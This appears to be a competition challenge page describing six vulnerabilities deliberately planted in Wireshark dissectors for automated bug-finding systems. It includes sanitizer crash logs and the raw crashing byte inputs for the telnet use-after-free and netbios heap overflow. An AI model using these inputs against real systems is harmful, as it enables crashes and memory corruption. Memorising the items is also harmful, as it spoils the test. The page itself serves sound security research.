cold double

Challenge Information

Project: wireshark

Type: full

Harnesses: 47

Vulnerabilities: 6

GitHub • Challenge Download

AFC Challenge Performance

Number of Unique Vulnerabilities Discovered: #

Number of Teams with Scoring PoVs: 3

Number of Teams with Scoring Patches: 2

Number of Teams with Scoring Bundles: 2

Total Points Scored for this Challenge: 68.79359010997075

What design decisions were considered for this challenge?

This challenge project was chosen because of its widespread usage and long and varied history of vulnerable plugins (or in wireshark’s nomenclature, “dissectors”).

Why this set of vulnerabilities?

This full scan challenge is comprised of 6 individual & discrete vulnerabilities:

Wireshark-001 - Buffer overflow due to trusting user defined packet sizes
Wireshark-002 - Heap user after free due to improper garbage collection
Wireshark-005 - Format string vulnerabilities due to improper data sanitization
Wireshark-010 - Improperly bounded string copy resulting in heap buffer overflow
Wireshark-011 - ASCII string buffer overflow
Wireshark-012 - Use after free due to debugging code These vulnerabilities exemplify many common and a few uncommon vulnerabilities that would be present in protocol parsing projects.

Delta vs Full and why?

This challenge is a full scan to test the breadth and scope of a CRS’ ability to find and detect vulnerabilities via scanning a codebase as-is, not individual deltas.

Additional Information

Wireshark is a powerful, open-source network protocol analyzer, used to capture and interactively browse the traffic running on a computer network.

Wireshark includes the following features to dissect network traffic:

Packet capture and analysis: Captures live traffic from network interfaces and also allows analysis of saved packet capture files (PCAP).
Protocol Support: Recognizes and dissects data from hundreds, even thousands, of protocols, including common ones like TCP/IP, HTTP, DNS, and many others.
Detailed Inspection: Displays the captured data in a human-readable format, providing a granular view of each packet, including headers, payloads, and other information.
Filtering and Search: Offers advanced filters to narrow down the view to specific packets, sessions, or protocols, helping focus the analysis.
Cross-platform: Available for Windows, macOS, and Linux.
Visualization: Can generate statistics, graphs, and flow diagrams to visualize network activity and performance, potentially revealing anomalies.

Challenge Harnesses

handler_lpp
handler_wlan_noqos
handler_cflow
handler_ber
handler_dis
handler_rnsap
handler_netbios
handler_its
handler_wlan_withfcs
handler_zbee_aps
handler_x2ap
handler_wlan
handler_wlan_withoutfcs
handler_ngap
handler_bat.vis
handler_xiri
handler_woww
handler_asterix
handler_e1ap
handler_f1ap
handler_ngap_media_type
handler_telnet
handler_json
handler_zbee_zdp
handler_icmp
handler_rrc
handler_json_file
handler_netflow_tcp
handler_wlan_centrino
handler_bat.gw
handler_s1ap
handler_xnap
handler_lppe
handler_irc
handler_nbap
handler_gvcp
handler_bat
handler_e1ap_tcp
handler_openvpn.udp
handler_netflow
handler_hcrt
handler_aim
handler_lte_rrc.dl_ccch
handler_wlan_bsfc
handler_icmp_extension
handler_openvpn.tcp
handler_ansi_map

Challenge Vulnerabilities

Wireshark OpenVPN UDP Control Packet Buffer Overflow

Vulnerability Information

Author: Sierra Haex

Harness: handler_openvpn.udp

CWE Classification: CWE-121

What functions and functionality is relevant?

The dissect_openvpn_msg_common function contained within epan/dissectors/packet-openvpn.c has the vulnerability.

Why is this vulnerable?

The tvb_reported_length length function is fully attacker controlled via packet fields provided to wireshark. The supplied field length may or may not match up with the real packet size, so it must be treated as untrustworthy or at least bounds checked to ensure that it does not under or over calculate the actual remaining packet size.

Is this a replay and/or is inspired by anything?

Scattered throughout documentation in wireshark are dire warnings of using tvb_reported_length which is a packet controlled value as opposed to wireshark’s function that captures the length of the actual packet read into memory: tvb_captured_length. Both have their uses, but the warnings are there to help developers avoid trusting packet defined data for buffer lengths…as these provided values may or may not be within bounds of the actual data.

What makes it interesting?

Without reading the documentation, this code appears safe. A CRS must understand the wider context of the documentation and design decisions to recognize that this represents an incorrect (and vulnerable) trust extended to arbitrary packet-supplied data.

wireshark telnet subcommand use-after-free

Vulnerability Information

Author: anonymous

Harness: handler_telnet

CWE Classification: CWE-416

What functions and functionality is relevant?

The function telnet_add_text within epan/dissectors/packet-telnet.c is where the use-after-free occurs.

Why is this vulnerable?

When you set the window size, a buffer is created so that the entire window can be stored line by line and displayed if necessary. When new data is passed to telnet, it is added line by line to this buffer. However, if you switch to line mode this buffer is freed but the flag for using a window is not unset. This allows an attacker to cause a use-after-free by sending data at this point.

Is this a replay and/or is inspired by anything?

This is not a replay, but rather inspired by other use after free bugs discovered historically in wireshark.

What makes it interesting?

This bug can be easily patched, but comprehending the lifetime of the heap object is non-trivial.

Additional Information,📡 Telnet Protocol: Commands, Subnegotiation, and Window Configuration

The Telnet protocol, defined in RFC 854, enables bidirectional communication over a TCP connection. It includes mechanisms for negotiating terminal behavior using in-band signaling via control bytes.

🧠 Telnet Command Structure

Every Telnet command starts with the IAC (Interpret As Command) byte:

IAC = 0xFF

It is followed by a command byte, such as:

Command	Hex	Description
`DO`	`0xFD`	Request the other side to enable an option
`DONT`	`0xFE`	Request the other side to disable an option
`WILL`	`0xFB`	Offer to enable an option
`WONT`	`0xFC`	Offer to disable an option
`SB`	`0xFA`	Begin subnegotiation for option parameters
`SE`	`0xF0`	End subnegotiation

For more details, see RFC 854, Section 3.3 (“Command Meanings”).

🧩 Subnegotiation (SB … SE)

For options that require additional configuration (like terminal type or window size), Telnet uses subnegotiation.

Format:

IAC SB <option> <data...> IAC SE

This is used to exchange structured data for options such as:

Terminal type
Window size
Line mode
Environment variables

See RFC 854, Section 3.4 (“Subnegotiation”).

📏 NAWS – Negotiate About Window Size

Defined in RFC 1073, NAWS allows the client to send its terminal dimensions (columns and rows) to the server.

Example:

Negotiation:

IAC DO NAWS     → FF FD 1F
IAC WILL NAWS   → FF FB 1F

Subnegotiation (80x24 window):

IAC SB NAWS 00 50 00 18 IAC SE

00 50 = 80 columns
00 18 = 24 rows

See RFC 1073, Section 2.

🖋️ LINEMODE – Line-by-Line Input

Described in RFC 1184, the LINEMODE option allows a Telnet client to switch to canonical (line-by-line) input mode rather than character-by-character.

Example:

Negotiation:

IAC DO LINEMODE   → FF FD 22
IAC WILL LINEMODE → FF FB 22

Subnegotiation to enable line mode:

IAC SB LINEMODE SET-MODE 01 IAC SE

SET-MODE = 0x01
MODE_EDIT flag = 0x01 (line input mode)

See RFC 1184, Sections 3.2 and 3.3.

🔁 Mixing Commands and Data

Telnet commands are interleaved with user data in the same TCP stream. The IAC byte (0xFF) is used to escape into command mode.

Example:

Hex stream:

48 65 6C 6C 6F 20 FF FD 01 57 6F 72 6C 64

Represents:

"Hello " → Data
FF FD 01 → IAC DO ECHO (Telnet command)
"World" → Data continues

Telnet parsers must scan for the IAC byte to correctly interpret command vs. data. See RFC 854, Section 3.2 (“Data Representation”).

📚 Relevant RFCs

RFC	Topic
RFC 854	Telnet Protocol Specification
RFC 1073	NAWS: Negotiate About Window Size
RFC 1184	LINEMODE: Line-by-Line Input Control

Example crash

=================================================================
==18==ERROR: AddressSanitizer: heap-use-after-free on address 0x51c000000880 at pc 0x0000005558c4 bp 0x7ffc5fb4d1c0 sp 0x7ffc5fb4c980
WRITE of size 4 at 0x51c000000880 thread T0
SCARINESS: 46 (4-byte-write-heap-use-after-free)
    #0 0x5558c3 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
    #1 0x81abaa in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34:10
    #2 0x81abaa in tvb_memcpy /src/wireshark/epan/tvbuff.c:945:10
    #3 0x82a48e in _tvb_get_raw_bytes_as_stringz /src/wireshark/epan/tvbuff.c:4047:3
    #4 0x82a48e in tvb_get_raw_bytes_as_stringz /src/wireshark/epan/tvbuff.c:4073:8
    #5 0x1e1b405 in telnet_add_text /src/wireshark/epan/dissectors/packet-telnet.c:2211:5
    #6 0x1e1ad50 in dissect_telnet /src/wireshark/epan/dissectors/packet-telnet.c:2337:9
    #7 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #8 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #9 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #10 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #11 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #12 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #13 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #14 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #15 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #16 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #17 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #18 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #19 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #20 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #21 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #22 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #23 0x7f12e929a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #24 0x42efcd in _start (/out/fuzzshark+0x42efcd)

DEDUP_TOKEN: __asan_memcpy--memcpy--tvb_memcpy
0x51c000000880 is located 0 bytes inside of 1920-byte region [0x51c000000880,0x51c000001000)
freed by thread T0 here:
    #0 0x5576a6 in free /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
    #1 0x2efd658 in wmem_simple_free /src/wireshark/wsutil/wmem/wmem_allocator_simple.c:54:5
    #2 0x1e1ab22 in telnet_sub_option /src/wireshark/epan/dissectors/packet-telnet.c:2099:9
    #3 0x1e1ab22 in telnet_command /src/wireshark/epan/dissectors/packet-telnet.c:2182:14
    #4 0x1e1ab22 in dissect_telnet /src/wireshark/epan/dissectors/packet-telnet.c:2322:16
    #5 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #6 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #7 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #8 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #9 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #10 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #11 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #12 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #13 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #14 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #15 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #16 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #17 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #18 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #19 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #20 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #21 0x7f12e929a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)

DEDUP_TOKEN: __interceptor_free--wmem_simple_free--telnet_sub_option
previously allocated by thread T0 here:
    #0 0x55793f in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
    #1 0x2fe8988 in g_malloc (/out/fuzzshark+0x2fe8988)
    #2 0x1e1c17e in dissect_naws_subopt /src/wireshark/epan/dissectors/packet-telnet.c:652:29
    #3 0x1e1ab22 in telnet_sub_option /src/wireshark/epan/dissectors/packet-telnet.c:2099:9
    #4 0x1e1ab22 in telnet_command /src/wireshark/epan/dissectors/packet-telnet.c:2182:14
    #5 0x1e1ab22 in dissect_telnet /src/wireshark/epan/dissectors/packet-telnet.c:2322:16
    #6 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #7 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #8 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #9 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #10 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #11 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #12 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #13 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #14 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #15 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #16 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #17 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #18 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #19 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #20 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #21 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #22 0x7f12e929a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)

DEDUP_TOKEN: __interceptor_malloc--g_malloc--dissect_naws_subopt
SUMMARY: AddressSanitizer: heap-use-after-free /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34:10 in memcpy
Shadow bytes around the buggy address:
  0x51c000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51c000000680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51c000000700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51c000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
  0x51c000000800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x51c000000880:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51c000000900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51c000000980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51c000000a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51c000000a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x51c000000b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18==ABORTING
MS: 0 ; base unit: 0000000000000000000000000000000000000000
0xff,0xfa,0x1f,0x0,0x50,0x0,0x18,0xff,0xf0,0xff,0xfa,0x22,0x1,0x1,0xff,0xf0,0x61,0x61,0x61,0x61,
\377\372\037\000P\000\030\377\360\377\372\"\001\001\377\360aaaa
subprocess command returned a non-zero exit status: 1

Vulnerability Information

Author: Sierra Haex

Harness: handler_bat.vis

CWE Classification: CWE-134

What functions and functionality is relevant?

The dissect_bat_vis_v24 function contained within epan/dissectors/packet-bat.c is where the format string vulnerability is first initially set up. Later on during output (line 705) the vulnerability is triggered.

Why is this vulnerable?

This is vulnerable due to how libc processes format strings: by passing a pointer to a buffer without a format, the way libc determines the format is to treat the pointer supplied as the actual format string. This is problematic when it is user / attacker controlled, as the format string can contain things like stack printing & modification (e.g. %x), stack pointer dereference and writes (like %n) and and a few other nasty tricks that allows for an attacker to construct a string that will write bytes to memory and eventually construct an exploit giving remote code execution. This is why it is always important to properly sanitize format strings when printing user / attacker supplied data via direct specification of the format (e.g., specifying “%s\n” for the argument of d_output_buffer).

Is this a replay and/or is inspired by anything?

This is inspired by the widespread exploitation of format string bugs once the knowledge of how to exploit them was disseminated.

What makes it interesting?

This vulnerability is relatively straightforward for a CRS to identify, but writing a PoV is more challenging (as the protocol is a context sensitive binary protocol).

wireshark netbios terminate trace signature overflow

Vulnerability Information

Author: anonymous

Harness: handler_netbios

CWE Classification: CWE-122

What functions and functionality is relevant?

The dissect_netb_terminate_trace function contained within epan/dissectors/packet-netbios.c is relevant.

Why is this vulnerable?

The dissector allocates a buffer to convert the signature into a string to display in the parsed GUI output. If an attacker supplies a string that is too long a heap-based buffer overflow can occur.

Is this a replay and/or is inspired by anything?

This was inspired by historical wireshark vulnerabilities, some of which included unchecked copies that resulted in code execution.

What makes it interesting?

While there are some bounds checking around the string copy, they are insufficient to mitigate the vulnerability and a CRS will need to understand that to properly flag that this code is vulnerable.

Additional Information, 🧩 What is NetBIOS?

NetBIOS (Network Basic Input/Output System) is a legacy API developed in the 1980s that provides communication services over a local area network (LAN). While originally designed for small networks using the NetBEUI protocol, it was later adapted to run over TCP/IP (commonly referred to as NetBIOS over TCP/IP or NBT). NetBIOS supports name registration and resolution, session management, and datagram communication.

Despite being largely obsolete in modern systems, it still exists for backward compatibility in Windows networks and some embedded environments.

📦 NetBIOS Commands

NetBIOS defines a number of commands that represent different types of messages or operations in its protocol. These are typically exchanged between hosts to manage sessions, transfer data, or resolve names.

Some common command codes include:

Command Code	Command Name	Description
`0x00`	Add Group Name	Register a group name on the network
`0x01`	Add Name	Register a unique name
`0x0A`	Name Query	Request address info for a NetBIOS name
`0x0D`	Add Name Response	Reply to an Add Name request
`0x0E`	Name Recognized (Response)	Acknowledge that a name has been recognized
`0x08`	Datagram	Send a connectionless message
`0x14`	Data Acknowledge	Acknowledge received session data
`0x15`	Data First/Middle	Start or continue a fragmented session message
`0x16`	Data Only/Last	Send an unfragmented or final fragment of session data
`0x19`	Session Initialize	Begin a NetBIOS session between peers
`0x1F`	Keep Alive	Ensure the session is still valid

Each command has its own structure and set of fields, often including session IDs, flags, and embedded NetBIOS names.

🧾 NetBIOS Packet Format (Session Layer)

+---------------------+---------------------+
| Offset              | Field               |
+---------------------+---------------------+
| 0x00 (2 bytes)      | Length              |
| 0x02 (2 bytes)      | Delimiter (0xEFFF)  |
| 0x04 (1 byte)       | Command             |
| 0x05 (1 byte)       | Flags               |
| 0x06 (1 byte)       | Data1               |
| 0x07 (1 byte)       | Data2               |
| 0x08 (2 bytes)      | Transmit Correlator |
| 0x0A (2 bytes)      | Response Correlator |
| 0x0C (1 byte)       | Remote Session No.  |
| 0x0D (1 byte)       | Local Session No.   |
| 0x0E–0x1D (16 bytes)| Receiver Name       |
| 0x1E–0x2D (16 bytes)| Sender Name         |
| ...                 | Command-specific    |
|                     | Payload             |
+---------------------+---------------------+

🧠 Notes

Length includes the entire packet length starting at offset 0.
Delimiter is usually 0xEFFF, identifying this as a NetBIOS frame.
Command is a 1-byte code identifying the type (e.g., 0x0A for Name Query).
Names are in NetBIOS format: 15-character names padded with spaces + 1-byte type.
Depending on the command, more fields or payload may follow.

The “TERMINATE_TRACE” command in NetBIOS is used to end an active diagnostic trace on a remote node. This command is part of the Diagnostic and Monitoring Protocol (DMP) within the NetBIOS suite.

🔧 Purpose

The primary function of the “TERMINATE_TRACE” command is to instruct a remote node to stop its ongoing trace operationThis is typically used after a trace has been initiated to monitor network activity or troubleshoot issues, allowing administrators to conclude the trace once sufficient data has been collected

📦 Packet Structure

According to documentation, the “TERMINATE_TRACE” frame has the following structur:

Length Field 2 bytes.
Delimiter Field 2 bytes, set to 0xEFFF, also transmitted in byte-reversed orde.
Command Field 1 byte, set to 0x07, identifying it as a “TERMINATE_TRACE” comman.
Remaining Bytes This structure ensures that the receiving node correctly interprets the command to terminate the trace operatio.

📚 References

RFC 1001: Protocol Standard for a NetBIOS Service on a TCP/UDP Transport: Concepts and Methos- RFC 1002: Protocol Standard for a NetBIOS Service on a TCP/UDP Transport: Detailed Specificatios- NetBIOS protocol documentaton

These references provide detailed information on NetBIOS commands and their implementatios.

🧾 `TERMINATE_TRACE` Packet Format

+--------+--------------------+----------------------------------+
| Offset | Field              | Description                      |
+--------+--------------------+----------------------------------+
| 0x00   | Length (2 bytes)   | Total length of packet           |
| 0x02   | Delimiter (2 bytes)| Must be 0xEFFF                   |
| 0x04   | Command (1 byte)   | 0x07 = TERMINATE_TRACE           |
| 0x05   | Flags (1 byte)     | Control flags (see below)        |
| 0x06   | Trace ID (2 bytes) | Unique ID of the trace session   |
| 0x08   | Timestamp (4 bytes)| Time the command was issued      |
| 0x0C   | Reason Code (1 byte)| Why the trace is being stopped   |
| 0x0D   | Reserved (3 bytes) | Alignment                        |
| 0x10   | Initiator Name (16 bytes) | ASCII NetBIOS name of sender |
| 0x20   | Signature (8 bytes)| Optional auth/trust signature    |
+--------+--------------------+----------------------------------+

📋 Field Details

🔧 Flags (1 byte)

Bitmask of control options:

0x01: Force terminate (even if trace is active)
0x02: Log before terminating
0x04: Request acknowledgment
0x08: Signature Type

🎯 Reason Code (1 byte)

0x00: Normal completion
0x01: Manual termination by user
0x02: Timeout expired
0x03: Remote shutdown
0xFF: Unspecified

📎 Signature

🧠 Design Notes

This structure supports trace coordination, accountability, and optional authentication.
The fields align with typical control plane features you’d expect in diagnostic commands.
It’s backward-compatible — older implementations can ignore unknown fields if Length is correct.

The dissector allocates a buffer to convert the signature into a string to display in the parsed GUI output. If an attacker supplies a string that is too long a heap-based buffer overflow can occur.

Example crash

=================================================================
==18==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50300012d521 at pc 0x000001755239 bp 0x7ffcb0b68c80 sp 0x7ffcb0b68c78
WRITE of size 1 at 0x50300012d521 thread T0
SCARINESS: 31 (1-byte-write-heap-buffer-overflow)
    #0 0x1755238 in dissect_netb_terminate_trace /src/wireshark/epan/dissectors/packet-netbios.c:726:22
    #1 0x1754632 in dissect_netbios /src/wireshark/epan/dissectors/packet-netbios.c:1213:16
    #2 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #3 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #4 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #5 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #6 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #7 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #8 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #9 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #10 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #11 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #12 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #13 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #14 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #15 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #16 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #17 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #18 0x7fe18f3c5082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)
    #19 0x42efcd in _start (/out/fuzzshark+0x42efcd)

DEDUP_TOKEN: dissect_netb_terminate_trace--dissect_netbios--call_dissector_through_handle
0x50300012d521 is located 0 bytes after 17-byte region [0x50300012d510,0x50300012d521)
allocated by thread T0 here:
    #0 0x55793f in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:68:3
    #1 0x2fe8aa8 in g_malloc (/out/fuzzshark+0x2fe8aa8)
    #2 0x1754632 in dissect_netbios /src/wireshark/epan/dissectors/packet-netbios.c:1213:16
    #3 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #4 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #5 0x744574 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #6 0x744574 in call_all_postdissectors /src/wireshark/epan/packet.c:4166:3
    #7 0x10906b7 in dissect_frame /src/wireshark/epan/dissectors/packet-frame.c:1438:5
    #8 0x73991d in call_dissector_through_handle /src/wireshark/epan/packet.c:887:9
    #9 0x73991d in call_dissector_work /src/wireshark/epan/packet.c:975:9
    #10 0x735417 in call_dissector_only /src/wireshark/epan/packet.c:3621:8
    #11 0x735417 in call_dissector_with_data /src/wireshark/epan/packet.c:3634:8
    #12 0x735417 in dissect_record /src/wireshark/epan/packet.c:687:3
    #13 0x726cb0 in epan_dissect_run /src/wireshark/epan/epan.c:666:2
    #14 0x5971f8 in LLVMFuzzerTestOneInput /src/wireshark/fuzz/fuzzshark.c:359:2
    #15 0x44bb70 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:614:13
    #16 0x436de5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:327:6
    #17 0x43c87f in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:862:9
    #18 0x467b22 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #19 0x7fe18f3c5082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 0323ab4806bee6f846d9ad4bccfc29afdca49a58)

DEDUP_TOKEN: __interceptor_malloc--g_malloc--dissect_netbios
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/wireshark/epan/dissectors/packet-netbios.c:726:22 in dissect_netb_terminate_trace
Shadow bytes around the buggy address:
  0x50300012d280: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x50300012d300: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x50300012d380: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x50300012d400: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
  0x50300012d480: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
=>0x50300012d500: fa fa 00 00[01]fa fa fa fa fa fa fa fa fa fa fa
  0x50300012d580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50300012d600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50300012d680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50300012d700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50300012d780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18==ABORTING
MS: 0 ; base unit: 0000000000000000000000000000000000000000
0x28,0x0,0xff,0xef,0x7,0x20,0xab,0xcd,0xde,0xad,0xbe,0xef,0x40,0x0,0x0,0x0,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0xca,0xfe,0xba,0xbe,0xd0,0xd,0xd0,0xc,0xb0,0xb0,0xab,0xde,0x12,0x34,
(\000\377\357\007 \253\315\336\255\276\357@\000\000\000\017\016\015\014\013\012\011\010\007\006\005\004\003\002\001\000\312\376\272\276\320\015\320\014\260\260\253\336\0224
subprocess command returned a non-zero exit status: 1

Can I be your AIM buddy?

Vulnerability Information

Author: Sierra Haex

Harness: handler_aim

